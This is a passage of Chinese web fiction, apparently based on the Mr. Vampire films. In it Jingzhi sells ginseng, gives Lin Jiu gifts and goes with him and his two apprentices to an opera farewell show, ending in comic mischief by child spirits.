直到他骨节分明的大手收回柜台后,静之才伸手去拿钱,然后一脸开心地看着林九说:“叔,走,我们去那个什么员外家!” 林九难得对她露出一点真实的微笑,“好,走吧。” 他一答应,静之头也不回,三步并作两步冲出医馆,与等在门外头的秋生文才叽叽喳喳说着好消息。 林九见她行动迅速,毫不留恋的样子,莫名松了口气。 “静之姐,你那药卖了多少钱?” “当当当当!5块钱!” 秋生和文才原本一头雾水,心想五块钱是多少钱,当看到她手心的五个银元时,顿时惊得眼都不会眨了。 秋生:“哇靠,师父看一次风水10块大洋,你这一篓子草就值5个大洋啦?请客请客!” 静之嘿嘿一笑,拿了一个大洋递给一脸羡慕的文才,“呐,谢谢你帮我背药回来,这是你的跑腿费。” 秋生眼红了,“那我呢?静之姐,你不能厚此薄彼啊!” 静之啧了一声,叉腰问他,“那你说说,你帮啥忙了?” 秋生转动着眼珠子刚想硬掰个理由,后脑勺就突然被扇了一下。 “整天就知道给我找事!走了,去张员外家。” 秋生回头,得到林九冷眼一枚,吓得瞬间噤声。 林九走在前头,静之被他俩徒弟夹在中间,跟在他后头亦步亦趋走着,三人小声嘀咕着五个大洋能买些什么东西。 讨论了一会儿,静之这才明白,五个大洋值一个普通工人一个月的工资了,那还是挺好赚的嘛。 她想了想,那婷婷岂不是给得太多了? 她现在正值家庭动荡之际,这么花钱可怎么行? 于是她从口袋里掏出一条人参递给文才说: “喏,给你,你帮我走一趟,送去给婷婷,嗯……就说慰问礼,不然她不收。” 文才应是,兴高采烈地转身就跑,嘴里还不停嘀咕着:“去婷婷家喽!” 秋生凑近一脸震惊地问她: “你就这么送给她啦?”他指了指自己耳朵又说,“我刚刚可是听到了,这一株值35个大洋,卖给那个员外的话,指不定更多诶。” 静之环着胸,毫不犹豫地点了点头说: “礼尚往来嘛,她给我们也不少,还叫人来修院子了呢,这参…就当做给她补补身子喽,小姑娘家的,母亲早早就没了,父亲也去世了。 在义庄那几天,她的脸色,青白得跟鬼一样,真是可怜。” 秋生站定,怼了怼她的手肘说: “那你不卖啦?我们还去那员外家吗?” “去啊,我还有一根!” “……哇,你哪里挖的,下次有这种好事,请记得叫我一起。” …… 静之没打算动最开始摘的百年老参,她是不需要,但是林九四十好几了,以后总有需要的时候。 她想着,还是她自己炮制好,留下来以备不时之需吧。 他们三人去员外家转了一圈,静之净收入50大洋,顷刻间摇身一变,成了小富婆一枚。 于是带着秋生一顿买买买,买了不少衣服,日常用品,跟糕点等。 不知道是她买的东西便宜,还是这一个大洋可真耐花,她和秋生的手都快提不下了,甚至连秋生脖子上也挂了两串糕点才花了2个大洋。 秋生低头闻了闻胸口悬挂着的纸袋说: “哇,板栗饼刚出炉的好香啊,我能先吃一块吗?” “真要现在吃?我还打算请你们去酒楼吃饭诶!” 秋生: “真的?!” 文才从远处奔来,一脸兴奋地喊着: “好耶!等等我!” 跑到静之面前,他狗腿的接过静之手里的东西,放在秋生自行车的车筐里头。 刚要接过她手中的长条形盒子和一个软绵包裹时,静之将这两个东西一把捞回怀里,“不用了,这些我自己拿!” 文才收回手,挠了挠头,哦了一声,一张老脸又笑开了花,和秋生相视一笑。 毕竟,他师父最抠门了。 除了过生日,或者客户请吃酒楼,一般都不会选择上馆子吃饭的。 这回看他们不吃个够本! …… 四人来到酒楼,秋生唤来伙计,叫了好几个肉菜,还想点酒,却被林九阻止。 “昨晚刚吃坏肚子,今日就想饮酒了?!你要是不想活了,师父我送你一程。” 林九又把快下楼的伙计叫了回来,将肉菜撤了两个,换成素菜。 “阿九,好不容易出来放松一下,不喝酒的话,你就让他们吃肉呗。” 文才:“是啊是啊。” 秋生被林九死死盯着,再不敢说话了,只是心里暗自腹诽,他师父可真小气! 林九收回眼神,严肃地看着静之说: “好运不是天天有,省着点花,况且,自你来了后,他俩什么时候断过肉了。” 静之回想了一下,不由点点头,好像…也是哦。 昨天午饭跟晚饭,不是兔子就是鸡诶。 秋生文才看不能尽兴了,瞬间泄气。 静之指了指椅子旁边的糕点,对着他俩说: “呐,这些东西大家都有份,回去一起吃呀。” 话刚说出口,那二人垂下的脸瞬间扬起,不一会儿,又开始你拍我一下,我撞你一下,玩闹了起来。 菜上桌,一时无话。 林九跟静之,若没有要事,饭桌上一惯不会发言。 秋生跟文才这会儿嘴巴塞满了食物,埋头苦吃。 就在这时,邻桌的食客突然开始议论了起来。 “诶诶,听说兰桂芳要开告别戏棚演唱会了,就在后天七月十四号啊,你去不去?” “我又不爱看戏,我不去。” 爱看戏的人这时动了动耳朵,他莫名转头看了一眼正夹菜吃的静之。 “诶,师父,你不是他的戏迷吗?你去不去啊?” 林九没说话,余光又默默瞥了静之一眼。 见师父不理人,秋生也不在意,他怼了怼静之胳膊说: “你上回不是说你爱看戏吗?你去不去啊?” 上次说到看戏,她好像都快哭了。 秋生心想,她一定是爱看极了。 静之放下碗,思索了一下,发现没什么要紧事,于是点点头说: “没事的话,就去呗,反正看戏都是晚上看,不影响你们白天去找墓地就行。” 想到这,她看向她右侧的林九问: “阿九,你去吗?” 林九还未回答,静之就想起他出门前的那一通犹豫,想说这会儿他还不适应与她单独相处,于是赶紧解释道: “秋生和文才帮了我不少忙,我请他们一起去看戏,你……去吗?” 林九想去得不得了,这会儿看她这么说,他不禁点了点头答应。 刚点完头,似是觉得这个爱好有损他的威严,他轻咳了两声,端起碗挡住脸喝汤。 秋生和文才倒是高兴得不得了,从饭桌上,到一路上,姐姐姐姐的,叫个不停。 回到义庄后,她收拾好了东西,把额外打包的吃食送去给婴灵后,就拿着那长条形的盒子跟那个包裹,敲响了林九的书房门。 “阿九?我可以进来吗?” 七月十五快到了,林九一回来,就在书房忙着印冥钞。 毕竟,降尸除妖的单子不是常有的,义庄还有三个人要吃饭,所以他们平日里要兼做一些纸元宝,纸人,冥钞,这类祭拜要用的东西来卖一卖,维持一下日常生活开销。 听到她的声音,他莫名压了压嗓子,低沉地说: “进来。” 静之一推开门,就看到他书桌旁,有一张长长的桌子,桌子上一个巨大的滚筒,上头裹着纸,桌面上还有一些印好了的银票。 她有些好奇地走过去看了看。 “哇,四千万,数额这么大,要是真的就好喽!” 林九微微一笑说: “再大,你也用不上。” 说到这个话题,他有些怅然。 静之挑挑眉说:“不怕,我现在有点小钱了,不慌!” 林九边整理着情绪,边拿着小刀将冥币仔细裁下,这才轻声问她: “找我什么事?” 静之回过神,将手中的东西一股脑放在桌上的空隙处,“送给你!” 刀锋一顿,林九转头看着那包裹跟盒子,将疑惑的眼神投向静之。 她挠了挠脸说: “盒子里头是根狼毫笔,我看你的朱砂笔都画劈叉了,所以给你买了根新的。” “至于那包裹……是件新衣服,我看颜色很衬你,就买了。” 像是怕他拒绝似的,她一溜烟小跑到门口,一脚跨出门框了,才回头说: “都是小东西,没花多少钱,那衣服……后天看戏的时候,你可以穿着去呀。” 刚一说完话,她赶紧走出去,又把门给他关好,脚底抹油似的跑了。 林九放下刻刀,缓缓打开那盒子,一只棕色的毛笔静静地躺在里头,他轻轻拿起端详了许久,又默默放了回去。 这是她送给他的第一个礼物呢,手帕不算的话。 林九的心开始不受控制地怦怦直跳起来,那跳动的节奏仿佛要冲破胸腔一般。 他的目光不由自主地被那个静静放置在桌上的藏蓝色包裹所吸引。 他暗自思忖,她究竟明不明白…送一个男子衣服意味着什么? 这个念头如同一只顽皮的小兽,在他心底不停地抓挠着,让他心绪难宁。 终于,林九缓缓伸出手去,轻轻地解开包裹上的布结。 随着布结一点点松开,他的心情也愈发紧张起来。 当最后一层布料滑落,里面那件衣服完整地展现在他眼前时,他不禁微微瞪大了眼睛。 这是一件浅黄色的长袍,色泽柔和。 他小心翼翼地拿起这件衣服,手指刚一触碰到它,便能感受到那柔软滑顺的质感。 如此细腻的料子,质量堪称上乘。 “没花多少钱”,想起她之前说过的话,林九嘴角不由得泛起一抹苦笑。 怎么可能没花多少钱,这样的好料子、这般精细的做工,又怎会便宜得了? 不过是她的一番花言巧语罢了。 一直以来,林九都不太喜欢收受他人的礼物,总觉得欠下人情难以偿还。 然而此时此刻,面对这件浅黄色的长袍,他却发现自己心中竟然没有丝毫抵触情绪,反而有着一种难以言喻的喜悦在悄悄蔓延开来。 这种感觉令他有些困惑,为何偏偏对这份礼物例外呢? 是礼物得他的心? 还是送礼的人…… 第99章 ‘情侣装\’ 七月十四,这天很快就到了。 秋生和文才唯恐师父借找墓之名,不带他们去看戏,于是昨天就拉着林九出去逛了一天的山头。 幸亏在隔壁镇不远处的山头,觅得一处合适之所。 前朝后靠,左右环抱,呈“太师椅”之形,确为风水宝地,较任老太爷先前的蜻蜓点水穴,更胜一筹。 林九当机立断,决定就将任老太爷葬于此处。 于是便叫秋生骑着自行车回去通知婷婷,待择一良辰吉日,方可将其骨灰下葬。 秋生也不推托,兴高采烈便去了。 只是这一回来,就和文才缠着找林九要钱。 秋生推了推瑟缩着的文才,见他疯狂摇头,死活推不动,无奈翻了个白眼,朝正在写字的林九走去,放轻声音,试探性地问: “师父?我存在你那儿的钱,能不能……能不能拨一个月的份额给我?” 文才从秋生身后探出头来,支支吾吾地说:“我,我也要。” 林九笔不停歇,写到名字时,他下意识抬头看了一眼。 秋生见状,赶忙缩回头去,干笑两声。 林九白他一眼,微微用左手挡住,写了个林,才缓缓问道: “要钱做什么?” 秋生眼一转,“我们有用!” 文才附和,“对,对,有用。” 见他们没在看,他极速写下他的名字,待最后一笔完成,他突然觉得有一道热气直喷他的脑门。 臭小子! 林九立马将手捂住纸张,不管秋生看没看到,他反正是恼羞成怒了。 “看什么!你们的钱,我给你们收着,以后如果你们要到大城市去了,会还给你们的。” 秋生斜斜靠在桌子边上,捻了个兰花指,撅个屁股,“阿娇~阿娇~” 得。 还是给他看到了。 林九面色一红,后槽牙却是咬得咯吱咯吱响、 “阿娇阿娇的,好听是不是,滚去叠元宝!张员外可定了两大筐,明天就要交货了,叠不完的话,今晚不许出门!” 见林九拳头捏得死紧,目光不断搜寻着桌上能丢的东西,秋生就知道他又要动手了,于是一个闪身,瞬间就跑到门外。 文才被林九黑红黑红的脸吓了一跳,他忙不迭地跟了出去,“师,师兄,等等我!” …… 就在林九人忍下羞恼之意,将那张给地府的条子小心对折叠好的时候—— “吱呀。” 门开了一条小缝。 秋生伸进去一个头,嬉笑着说: “师父,你不给我的话,我就把你真正的名字告诉静——” “咻!” 只听得一声破空声骤然响起。 刹那间,一道银光闪过,速度快到让人几乎难以捕捉其轨迹。 紧接着,一把刻刀便出现在秋生头顶的房门中,入木三分。 他原本就瞪得如同铜铃一般大的双眼,此刻更是惊恐地望着从自己眼前缓缓飘落下来的一小撮头发。 而此时的林九,则是一脸皮笑肉不笑的神情,那双锐利的眼睛半垂着,死死盯着门口的 秋生,冷冷说道:“你尽管试试。” 话音刚落,秋生的脑袋犹如受惊的乌龟一般,猛地缩了回去。 与此同时,那扇紧闭的房门也在瞬间被紧紧合上。 随后,门外便传来了秋生那慌乱的声音: “文才,快快快,帮我看看我的头是不是秃了?!” 片刻之后,文才那有些迟疑的声音传了进来:“还,还行吧。” 听到这个回答,秋生顿时急得跳脚,大声吼道:“什么叫还行?!到底怎么样?!” 文才似乎被吓得不轻,结结巴巴地回答道:“……没秃,只是好像凹进去了一小块。” “啊?!”秋生闻言,不由得惨叫出声,“哈?怎么会这样?……镜子!我要镜子!!!” 伴随着一阵慌乱的脚步声,秋生朝着远处飞奔而去,那急切的呼喊声也渐渐消失在了远处。 此时此刻,安静的书房里只剩下了林九一人。 他面无表情地冷哼了一声,那冰冷的眼神中透露出一丝羞恼。 那臭小子,应该不会告诉她了吧? 干完活的他,突然想起什么,于是掏出彩色的纸张叠了起来… …… “静之姐,借我一个月月钱嘛,你也不想看我空着手去见我偶像吧?” 秋生见只是头发被削掉了一小撮,早就把林九的教训抛之脑后。 此时的他,正狗腿地伸出手给静之捶着肩膀,刚捶一下,静之肩膀一矮,欸欸两声,赶紧出声说: “别碰我啊,再碰我一下,一毛钱都没有!” 秋生绕到前头,蹲在她脚边嘿嘿一笑,“我帮你一起叠啊,叠好,你借我呗。” 文才这个伏地魔,早就拿起黄纸坐在她旁边暗戳戳叠起来了,边叠还边委屈着一张老脸看着静之说:“我,我也要借。” 话音刚落,静之略微震惊地抬头瞅了他一眼,“前天我不是刚给你一个大洋,这么快就花完了?” “不是,我想要零钱。” 在师父眼皮底下,他哪敢拿着那个大洋出去镇上换零钱,没被没收就不错了。 两个人,四只眼,皆发着期待的闪闪亮光看着静之,看得她有些无语。 “说好哦,不许告诉阿九,不然他又说我乱花钱了。” 边说着,她解下腰间鼓鼓的钱袋子朝秋生丢了过去。 秋生稳稳接住,打开一看,“哈?皱成这样,你把袋子掉水里了?” 静之抿嘴,丢过去一个叠好的纸元宝,没好气地说: “关你屁事,还要不要了,不要还我!” 秋生摇摇头,然后把里头一小团一小团的纸币掏出来,无所谓地说: “没关系,把师父的熨斗拿来用用就行!” 他看了文才一眼,又蹬了他一脚,“你去。” “为什么是我?” 秋生翘着二郎腿,“呐,刚刚是我先找师父拿钱的,我头发都掉一撮了呢,这回轮也轮到你了。” 文才捂着被踹痛的脚脖子小声哔哔,“那不是没拿到嘛,而且会掉头发,也是你自己作的。” 秋生伸起一巴掌,假装要抽过去,“去不去?” “……去。” 文才暗暗剜了秋生的头顶一眼,磨磨唧唧地出去了。 他刚出去,静之就蹬了秋生一脚。 “你对他那么凶干嘛?阿九可只有你们两个徒弟诶,你都不对他好点?” 秋生捂着脚脖子装作痛死了的样子,哎呦哎呦叫了两声,见她不为所动,面无表情的样子,他突然揶揄一笑: “每次都阿九阿九的叫,你是不是喜欢我师父?” 静之一脸坦然,“是啊,那又怎么样?” 秋生一噎,愣了几秒才哇了一声说:“你可真直白!” 静之悠悠叹了口气,“再直白有什么用,你师父比你们多了不少心眼,你都看出来了,他……一定也看出来了。” 但他还是把她拒之门外,她还能怎么办呢? 秋生望着桌上那捧皱巴的零花钱,突然把脸凑近,“要不要我帮你啊?” 静之瞥他一眼,”怎么帮?” 秋生放下脚,正襟危坐,清了清嗓子刚想和静之讨论一下“勾引”林九的大计,门突然吱呀一声开了。 二人回头一看,文才拿着个熨斗,跟做贼似的,又赶紧转身把门闭得死紧。 静之好心提醒,“留条缝,烤着番薯呢,小心一会儿把大家毒死在这里。” 文才脚步一顿,又赶紧回去把门敞开一点。 “阿九呢?” “哦,他在书房不知道在干嘛,我去他房间拿了熨斗就回来了,诶,你们猜猜,我在他房间看到了什么?” “什么?” *2 文才凑了过来,把熨斗放在炉子上热着,然后比划着身上的衣服说: “他床头挂着一件浅黄色的袍子,熨得一条褶子都没有,好像是新的,我都没见他穿过呢。” 静之突然咧嘴一笑,她眼里带着期待,微微昂起头看着虚空,脑子里一片遐想。 他……是喜欢的吧,今天晚上,应该会穿上的吧。 话说,虽然有文才跟秋生这两个电灯泡在,但是,她和他…一起看戏的话,算不算约会呢? 一想起他会穿新衣服,静之立刻起身,将手中叠了一半的元宝塞到文才手里,“我出去一下!” 说罢,她心急火燎地就回了房,然后把新买的衣服,还有婷婷送的几件扒拉出来,摆在了床上。 她环胸,摸着下巴思考。 淡粉色,好像有扮嫩的嫌疑,而且她不想看起来跟他年龄差距过大。 深蓝色,今天是开心的日子,穿这件,好像太压抑了。 淡黄色……这个好! 静之捧起床尾处淡黄色的那套襦裙,窃窃笑了一下。 好像…情侣装呢,就这套吧。 她拿着衣服本想换上,突然闻到自己身上一股烤地瓜的味道,眉头皱了皱。 又快步走到她的梳妆桌前,打开抽屉,掏出她新买的桂花香胰子。 洗个澡好了,她想。 约会的话,也要香香的呢。 …… 半个时辰后,静之终于结束了沐浴。 她一身清爽地从浴室缓缓走出。 此刻的她焕然一新,不仅身着那套精心挑选的衣裳,而且两侧的鬓发也被细致地编成了辫子,再用一条淡黄色的丝带轻轻地系在了脑后。 原本白皙如雪的面庞,因为刚刚接触过热水而染上了一层淡淡的、如桃花般的红润,使得她看上去更加娇艳动人。 林九从书房走出来的一瞬间,就看到了这一幕。 本来还觉得手中的花牌甚是好看的他,瞬间觉得那东西不及她是万分之一。 他呆愣在原地,不知瞧了人家几秒,耳边突然听到她欢喜的轻笑,他匆忙挪开视线,又把手中举着的花牌往身后藏了藏。 静之背着手,有些害羞地凑到他跟前,又暗含着期待,轻声问: “呐,阿九,我今天好不好看?” 林九话未说出口,两只耳朵便先红了。 他有些不自在地转过身,小步快走,然后把花牌藏在身前,朝着放婴灵的屋子走去。 静之瞧着他换上的淡黄色袍子,眼睛瞬间笑成了月牙儿,目光往上移,看到他那打了发胶的大背头,更是开心得合不拢嘴。 她才不在乎他手上的芳字花牌呢,她就要这么认为——他也是期待这次“约会”的。 “阿九,等等我,你还没回答我呢!”她急忙追了上去。 一进屋子,就看到林九拿着个方印,盖在一个更大的心形花牌上,还一脸认真地对秋生说: “反正都是要送给芳姐的,你不会介意吧?反正我是不介意!” 静之“扑哧”一下,笑出了声。 原来一向严肃的小老头阿九,也有坑徒弟的时候啊~ 突然听到她的笑声,林九的身子又僵了一下。 林九闭了闭眼,脸上突然泛起一大片红晕。 一瞬间,他只觉得,自己的威严,荡然无存了…… 秋生和文才从未见过他红过脸的样子,一个个笑得前仰后合,嘴都合不拢。 林九拿静之没办法,难道还收拾不了这俩徒弟? 他板起脸,指着桌上的一大摞纸钱,没好气地说: “叠,叠不好就别想出这个门。” 秋生一听,立刻向静之投去求救的目光,嘴里还不停地念叨: “什么?!这么多,要全部叠完,天都亮啦!” 当然,戏也别想看了。 静之走了进去,朝秋生调皮地眨眨眼,又偷偷一笑,“阿九,快去占个好位置呗,那个芳姐,肯定很红吧,去晚了,可就占不到前排啦。” 林九回头看她,她立刻摆出一副无辜的样子,眼睛瞪得圆圆的,还指了指屋外说:“走吧。” 林九心里被她说得有些着急,但六双眼睛都看着呢。 好面子的他,只是不咸不淡地点了点头,闷声嗯了一句,然后一甩下摆,抱着那个大大的花牌就走了出去。 刚出屋子,就听到身后静之由衷地称赞: “阿九,你穿这身衣服真好看,今天可太帅了!” 原本不紧不慢的脚步,突然停了一下,然后不自觉地加快了速度。 黄昏的阳光洒在他红透了的耳朵上,泛起一层淡淡的橙红色光芒。 静之也不管身后愁眉苦脸的两人,兴高采烈地跟了上去,像只快乐的小麻雀,左一句真帅,右一句真有型,把林九夸得越走越快。 她想,这辈子的他,是好面儿的,好听话嘛,她最会了,还不是张口就来? 于是她夸了他一路,夸得都有些口干舌燥。 听到她突然轻咳了一声,又咽口水的声音,林九递过去一个眼熟的水壶,“喝吧。” 静之一脸惊喜接过,“你的?” 林九直着脖子,目视前方,淡淡地说:“你的,上头刻了字。” 静之闻言低头一看,水壶壶身右下角刻了个漂亮的“静”字。 这回她也不气馁了,这个静字,直接给她吊成了翘嘴。 “你刻的?” 明明知道义庄里,就他的字最好看,她还非要问上一句,无非就是想要看看他的反应。 果不其然。 他又被她逼得开启了疾走模式。 静之端着水壶,轻酌了一口。 是……凉茶。 他怎么跟林风一个癖好,喜欢给人熬凉茶喝。 ……算了。 有,总比没有好。 第100章 看戏 一到戏棚外头,一股熟悉感汹涌袭来。 静之拿着水壶,定定地望着不远处正在台边化戏妆的众人,一言不发。 她本以为,经过这段日子的消化,她放下了。 然而,心口突如其来的剧痛却清晰地告知她,事实并非如此。 原来,亲密的人去世,最痛的不是他失去呼吸的那一刻,而是突然看到与他有关的东西,再次想起他的那些瞬间…… 林九觉得有些奇怪。 她这一路,小嘴喋喋不休,这会儿突然安静下来,他倒是有些不习惯了。 他转头望去,却见她的一双美眸,在前方摇曳灯火的映照下,竟有隐隐的泪光在闪烁着。 她…哭了? 林九有些慌,他甚至想着,是不是他这一路,一句回应都没有,所以惹她伤心了? 他踌躇了一下,想安慰她,脑子里又突然想起自己要收心的打算,一时间竟定在原地没有动作。 “哐!” 一声排练的罗响,惊醒了二人。 静之眨了几下眸子,泛去眼里的泪花,看向林九的眼神带着几分歉意。 每次她在林九身边想起二娣,她就觉得对不起他。 她说:“我去买点吃的,你先进去占位置吧。” 说罢,便走向旁边正端着一箱零嘴叫卖的小少年。 林九读不懂她刚刚那个眼神,他摇了摇头摒去疑惑,掀开竹帘走了进去。 虽然来得早,台下的观众席却也已经坐满了三分之一。 前面两排已经被早来的观众占完了,林九不得已只能走到第三排的位置。 “师父!” “师父,静之姐呢?” 秋生和文才跑了过来,林九还没问问他们怎么那么快出来,一袋热腾腾的炒栗子就举到他面前。 顺着一只宛如白玉的素手往上看,便是静之的笑颜。 “喏,给你,我知道你现在吃不下,晚上风大,给你暖暖手也行。” 见他还愣着,静之一把将东西塞进他的怀里。 戏台下,放的是长椅,一张椅子可坐两人。 文才看了两眼,一屁股就坐到了林九旁边。 一旁还站着的静之忍不住皱起眉头,轻啧了一声。 机灵的秋生赶忙揪住文才的衣领,像拎小鸡似的一下子就把他给拽到了林九右侧的条凳上。 静之见状,暗自朝着秋生微微点了点头,又将手中的花生瓜子递给他们,并压低声音说道:“还算你小子懂事!” 她刚想坐下,林九怕一个人坐边上尴尬,于是换了个位置,坐到了椅子右边,他的右边就是隔壁椅子上的文才,他的左边则空出了一大片位置留给她。 “……” 她抿了抿嘴,走过去坐下,见他一副不自在的样子,静之有些落寞的往左边挪了挪,却是不甘心离他太远,两人之间只隔了一个拳头的距离。 一个拳头的距离,足够他闻到她身上淡淡的桂花香气了。 林九心跳有些快,他屏住呼吸,下意识地又往文才那边挤了挤,他这一挤,差点把最右侧的秋生一把挤到地上去。 “师父!”/ “阿九……” 秋生和静之同时出声。 秋生是敢怒不敢言,静之则是有些受伤。 她很期待这次“约会”的,结果他还这样…… 她缓缓垂下眸子,看着自己身上特意穿着的淡黄色襦裙,突然觉得自己像个笑话。 见她连一贯带着的笑容都装不下去了,秋生暗暗对林九翻了个白眼,右脚一撑地面,悄悄往左边挤了挤。 奈何林九似乎铁了心不坐过去,于是文才被夹得像是晚会上被挤到耸肩的舒淇一样,只能苦笑两下。 …… 锣鼓声渐起,时间越临近开演,进来戏棚的人群越来越多,位置渐渐坐满。 每个经过他们身边的人,看到林九,都会对他拱拱手,招呼一声。 “九叔,你也来看戏啊?” “九叔,真巧,下次去我店里饮茶。” “九叔,我孙子最近夜不能眠,有空的话,去我家帮我看看啊?” 林九这辈子更重礼仪,他站起身来,一一回应,秋生趁机怼了一下文才胳膊,两人顺势往左边滑了一下。 等林九打完招呼,一撩衣摆要坐下时,却发现他的位置只剩下一点。 本想开口让静之往左边去一点,却发现她紧抿着嘴,一脸固执地看着自己。 他僵了几秒,才缓缓坐了下来。 也罢,不过是看场戏,场地有限,只能这样了。 刚一坐下,他的右肩靠着文才,左肩却也突然抵上了一片温热。 碰到她的胳膊了…… 一旦这个念头窜入脑海,林九的瞳孔就开始微微动荡了起来。 所幸,台上从帷布后走出的兰桂芳,吸引了他的注意力。 只见那兰桂芳身着一袭华丽的戏服,身姿婀娜,莲步轻移。 不知为何,林九看得有些出神。 静之亦然。 看着台上咿咿呀呀唱戏的花旦,她的思绪不由自主地又飘回到了曾经待在乐丰年的那些时光里。 虽然辛苦,但是过后想想,好像更苦了。 啧。 狗二娣! 见她注意力不在他身上,林九松了口气,终于开始专注看戏。 随着戏腔婉转起伏,他空着的一手跟着节奏,轻轻敲打着自己的膝盖。 静之垂眸看了一眼。 每一下,都敲到点上了。 她想,他之所以会喜欢看戏,是否脑子里还残留着前世的记忆? 那为什么,就不能记得她一点呢…… 就在这时,一道熟悉的声音突然从她左侧传来。 “九叔,你也来看戏啊?” 四人回头,医馆的那个年轻大夫此时正站在他们这一排入口,浅笑着看着他们。 今夜,仲尧穿着一身青色长衫,衣摆处绣着几片竹叶,清冷的气质,显得他更像个书生了。 他有些为难地四处打量了一下,又指了指静之左边的一小块位置说: “医馆关门有些晚了,现在才来,却是没有位置了,不知可否跟你们挤一挤?” 静之还没说什么。 林九突然点头答应,又一摆手说:“坐吧。” 仲尧感激的朝他笑了笑,却也不敢唐突了静之,坐得离她稍远。 但是一条椅子就这么长,再怎么远,静之都能闻得到从他身上飘过来的药味。 她蹙了蹙眉,余光打量了一下正微仰着脖子看戏的林九,突然气不打一处来。 正当她想着该怎么办的时候,左边的仲尧似乎觉得不寒暄一下不好。 于是边看戏,边与她聊了起来。 明明不过是一些无关紧要的问题,林九的注意力却渐渐从台上,转向台下。 他没转头,只是用余光默默打量着身侧那两个仿佛一对璧人的男女。 手中的栗子尚且有着余温,林九眸里的温度却渐渐冷了下来。 仲尧,今年二十有三,是个好后生呢。 她也识药,跟他倒是志趣相投。 若她喜欢,也不是不可以。 只是…… 只是什么,他不敢再深想下去了。 就在这时,由于人太多了,这个戏班的班主,打着哈哈,说最后一场戏了,叫大家撤去椅子,让更多喜欢芳姐的人进来看。 有人同意,有人不同意,但少数服从多数,那点反驳之音,瞬间消失在人群中。 林九一行人也站了起来,他叫文才把花牌拿到台侧放好,刚说完话,后面一大群芳姐的粉丝就涌了进来。 原本还挺宽松的场地,一下就变得拥挤起来。 静之虽然力气大,但是个子小,眼瞅着一个大汉一个肌肉屁股墩就要把她挤到后面去。 两只手同时伸了出来。 一左一右,揪住了她的袖子。 “放开。” 仲尧还没放下呢,林九倒是先放开了。 “……” 她突然抖落仲尧的手,闷闷地低下头去。 身后的人群一直涌上来,林九看着她被挤得一晃一晃的身子,忍不住轻叹了一声。 然后后撤半步,撑开左臂,虚虚为她隔开人群。 淡淡的檀香味渐渐地盖过了那股子药味,她突然抬头,眼睛亮亮地看着他,口中低声呢喃: “阿九……” 林九梗着脖子,赶紧挪开视线,直直地看着台上出来答谢的兰桂芳。 右侧的秋生和文才正疯狂地朝台上的偶像叫着“安可!”,压根没注意到他们这儿的异常举动。 她灼热的视线看得他有些脸热。 林九清了清嗓子说: “看戏。” 静之一扫刚刚的郁闷,笑得开心。 她回过头,眼里满带着笑意看着台上的花旦,却是将身子悄悄后仰,虚虚贴近他的怀里。 这样,就好了。 阿九最重礼数了,她不能逼太紧。 此时的静之还不知道,她再不逼,林九就要被他的旧情人勾搭走了…… 闻着她身上淡淡的幽香,感受着胸膛处她隐隐传来的体温。 林九想,他没有碰到她。 这样也好,就让他/她最后再任性一次吧…… 仲尧看着仿佛相拥的两人,眼里闪过一丝了然。 原本有些蠢蠢欲动的心,瞬间缩了回去。 毕竟是九叔,他可惹不起。 …… 戏起,就有戏落的一刻。 大约晚上九点多,唱了两个多小时的兰桂芳终于撑不下去了,于是答谢下场。 秋生扯着文才嘻嘻哈哈的率先冲了出去。 “师兄,不等师父他们吗?” 秋生扇了一下他的后脑勺,又悄悄转头看着此刻那两个气氛突然和谐的两人,“哎呀,你懂个屁,这个时候就要赶紧走!” 他突然凑近文才耳边说: “你忘了我们出来前叫灵婴们叠元宝啦?趁着师父还没发现,我们赶紧回去看看,要是他们没叠完,我们也好收个尾!” “哦哦。” 两人朝后头高声呼唤了一声先回去了,便溜得飞快,就留下缓缓走着的林九,和亦步亦趋的静之。 月光如水。 看着前头那个挺立的背影,静之的一直急促的心跳,此时越发鼓噪。 “阿九,天色黑,你能牵着我走不?” 像是怕他不答应,静之主动递出了袖子一角伸到他跟前。 她莫名有些感叹。 他上辈子可是求着牵她的袖子呢,这辈子,可轮到她遭报应了。 她轻咬着嘴唇,心里正忐忑着,林九抬眼看着街上拥挤的人潮,朝她摇了摇头。 “慢慢走,不急。” 静之颓了。 叫她之前再傲娇对二娣,这回玩脱了吧。 这种颓,一直持续到进入阴暗的森林小路里。 正当她垂着脑袋,百无聊赖走着的时候,她晃荡的袖子突然被扯住了! “阿九!” 她惊喜得唤了一声,声线甚至微微上扬。 林九紧了紧另一手,依旧面无表情,又不急不缓地解释道: “冒犯了,这里黑,我路熟,我牵着你走。” 静之的双眼在黑暗中依旧亮晶晶的,他耳边突然传来她轻轻的撒娇声: “好,阿九牵。” 她默默又在心里加了一句,只给阿九牵。 二人慢慢走着,森林里久不见阳光,就算在农历七月,也是有些阴冷的,可林九握着她袖子的那只手,甚至都开始出汗了。 莫名的,二人不约而同的,放慢了步子。 两人的心思也达成了一致。 他们恨不得这段路,能再长一些…… 林九想,他还是没碰到她。 不算唐突,他只是怕她摔跤了。 没有别的,真的。 他是这么说服自己的…… 第101章 明早我跟你们一起去 刚到义庄,就听到左边屋子传来婴灵们嘻嘻哈哈的吵闹声,还有秋生和文才的鬼哭狼嚎。 林九和静之对视一眼,赶紧加快脚步跑了过去。 “大欺小,死的早!” “兄弟们,揍他!” 就在这时,秋生突然一声嚎叫,静之身子不由得哆嗦了一下。 是发生啥了,叫得这么凄惨? “嘭!” 他俩刚推开门,就瞅见秋生像只断了线的风筝一样从半空掉下来,不偏不倚砸到了不知咋就躺在地上的文才身上。这俩货又是一阵哭爹喊娘。 听到开门声,婴灵们齐刷刷看了过来。 见是九叔回来了,他们怯怯停手,也不敢说话了。 只有小豆丁初生牛犊不怕虎,速度极快地爬了过来,就坐在静之脚边。 林九瞅了他一眼,没管他,慢悠悠走了过去,坐在桌子旁边,给自己倒了杯茶水,饮了一口,才淡淡的说: “不用管我,你们就当没看见。” 婴灵们眼前一亮,四人一组,各拽着二人的手脚往柱子上撞去。 顿时,鸡~飞~蛋~打~ 又是两声变了调的嚎叫。 眼瞅着林九两个徒弟就要变太监了,静之实在没眼看,她走到林九附近,拿了块椅子坐下,凑到他身边问: “干嘛不阻止他们,看着怪疼的。” 特别是秋生,脚底板一个熨斗的印子,都被烫红了,这还能行? 林九这会儿心情莫名的好,他微笑着说: “这两个臭小子,肯定又拿这群灵婴捣鬼了,活该。” 话音刚落,一小胖脱下裤子,对着文才的脸,就开始哗哗尿了起来。 静之扯了扯林九的袖子,有些犹豫地说:“现在还不阻止?” 林九:“再等等,不让他们吃够教训,他们不长记性。” 下一秒,秋生和文才的裤子刚被扒下。 她的眼睛在刹那间也被一只大手围住。 “阿九?” “别看,看了长针眼。” 